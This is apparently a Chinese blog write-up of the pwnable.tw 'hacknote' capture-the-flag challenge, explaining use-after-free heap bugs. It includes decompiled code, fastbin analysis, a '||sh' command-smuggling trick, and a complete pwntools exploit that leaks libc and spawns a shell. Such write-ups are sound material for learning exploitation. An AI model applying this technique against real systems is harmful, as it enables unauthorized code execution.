heap - 8 - UAF漏洞的简单介绍及其例子

A good Hacker should always take good notes! —— hacknote

1. UAF简介

UAF —— Use After Free. 指的是当某个指针被free后,没有及时将这个指针置空,导致该指针成为悬浮指针,在程序中仍然可以对该指针指向的内存执行某些操作,例如写入数据,查看数据等(操作取决于程序)

2. 例子 — pwnable.tw_hacknote

点击 这里 下载题目

查看保护

1
2
3
4
5
6
7
8
# root @ Kiprey in ~/Desktop/Pwn [14:16:43]
$ checksec hacknote
[*] '/root/Desktop/Pwn/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

执行流程

  1. 提示用户选择选项,有 添加笔记删除笔记输出笔记退出程序四个选项
  2. 根据用户的选择,执行不同的操作

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int addNote()
{
int v0; // ebx@8
signed int i; // [sp+Ch] [bp-1Ch]@3
int size; // [sp+10h] [bp-18h]@8
char buf; // [sp+14h] [bp-14h]@8
int v5; // [sp+1Ch] [bp-Ch]@1

v5 = *MK_FP(__GS__, 20);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C;
return *MK_FP(__GS__, 20) ^ v5;
}
}
}
else
{
puts("Full");
}
return *MK_FP(__GS__, 20) ^ v5;
}

int deleteNote()
{
int v1; // [sp+4h] [bp-14h]@1
char buf; // [sp+8h] [bp-10h]@1
int v3; // [sp+Ch] [bp-Ch]@1

v3 = *MK_FP(__GS__, 20);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return *MK_FP(__GS__, 20) ^ v3;
}

分析

  • 通过对addnote函数的分析,我们可以得知note的结构体为

    1
    2
    3
    4
    5
    struct note
    {
    void (*func)(void);
    char* content;
    }

    而这个func在添加note时会被赋值成myPuts(笔者自己命名的函数名)的函数地址

    1
    2
    3
    4
    void myPuts(char * note)
    {
    puts(note + 4);
    }

    程序每次输出note时都是调用这个函数进行输出
    例如:

    1
    2
    3
    struct note myNote[5];
    struct note myNote = myNote + 3;
    myNote->func(myNote);
  • deleteNote函数里,程序在free时没有重置指针的值。这是一个很明显、很典型的UAF漏洞。
    我们可以利用fastbin链的特性,来使一个可修改的指针指向某个被释放的note的func成员指针,进而修改该指针并执行其指向的函数

    • 我们可以先声明两个note,分别称为note0、note1,注意这两个note的note size必须大于12, 这样content chunk[^1]的大小就会 大于 note chunk[^2]的大小。

      [^1]: 为了方便,我们将分配作为note的chunk称为note chunk
      [^2]: 与上条类似,我们同样将分配作为content的chunk称为content chunk

      为什么note size 要大于12, 而不是大于8?
      这是因为chunk里prev_size成员的空间复用。
      当某个chunk已被分配时,该chunk的下一个虚拟内存相邻chunk,其prev_size成员是无效的,故可被上一个chunk使用

      如此,当这两个note都被释放时,两个note的note chunk会放置进相同索引的fast bin链里,而另外两个content chunk则会放置进 另一个索引 的fast bin链里。
      这样,note chunk 和 content chunk 在fast bin链中互不干扰
      就像这样:
      img

    • 第二步就是新建一个新的note2,注意该note的note size要小于12。
      这样,fastbin上note1的空间就会被分配,成为note2的content chunk
      (fastbin上note0的空间被分配给note2了,成为note chunk,注意fastbin的LIFO)
      就像这样:
      img

    • 注意:当程序可以执行system函数时,注意传入的地址为note2的地址,所以[system addr] 以及其后4个字节都会被解释成字符串尝试执行。但[system addr]又必须保留,那该如何get shell呢?
      这里有个小技巧,我们可以在最后四个字节构造"||sh"。这样便会执行system("[system addr]||sh")
      由于[system addr]肯定执行失败,所以便会执行到后面的sh。这样便可以get shell

    • 最关键的点已经说清楚了,后面的就不再赘述了 :ghost: :ghost:

解决方案

  1. 新建note0、note1,其note size必须大于12
  2. 释放note0、note1
  3. 新建note2,其note size必须小于12。
    此时note2->content指针就会指向note1,在新建的过程中,便可修改内存上的内存。
    • 修改note1->func为myPuts函数(func指针默认设置的函数),
    • 修改note1->content为got@read(随便哪个已经延迟绑定过的函数都行)
  4. 输出note1的内容(print note1),从而泄露libc基地址,进而确定system函数的地址
  5. 释放note2并重新建立note2,其note size仍然必须小于12
    在建立note2过程中,修改以下内容
    • 修改note1->func为system函数
    • 修改note1->content为"||sh"字符串
  6. 输出note1的内容(print note1) 执行system(“sh”), get shell!

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
from pwn import *

io = remote("chall.pwnable.tw", 10102)

libc = ELF("./libc_32.so.6")
e = ELF("./hacknote")

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')
# context.log_level = 'debug'

def addnote(len, content):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Note size :", str(len))
io.sendlineafter("Content :", content)

def delnote(index):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))

def printnote(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))

# 新建note0和note1并删除,注意删除顺序
addnote(16, '')
addnote(16, '')
delnote(1)
delnote(0)
# 新建note2,写入数据并执行
addnote(8, flat(0x0804862B, e.got['read']))
printnote(1)
# 上一步泄露出了libc地址,处理得到system函数地址
libc_read_addr = u32(io.recv(4))
log.success('libc read addr: ' + hex(libc_read_addr))
# 删除note2
delnote(2)

libcbase_addr = libc_read_addr - libc.symbols['read']
system_addr = libcbase_addr + libc.symbols['system']

log.success('libcbase addr: ' + hex(libcbase_addr))
log.success('system addr: ' + hex(system_addr))
# gdb.attach(io)
# 重新建立note2,写入system地址和'||sh'字符串,执行函数
addnote(8, flat(system_addr, '||sh'))

printnote(1)
# get shell!
io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2021 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~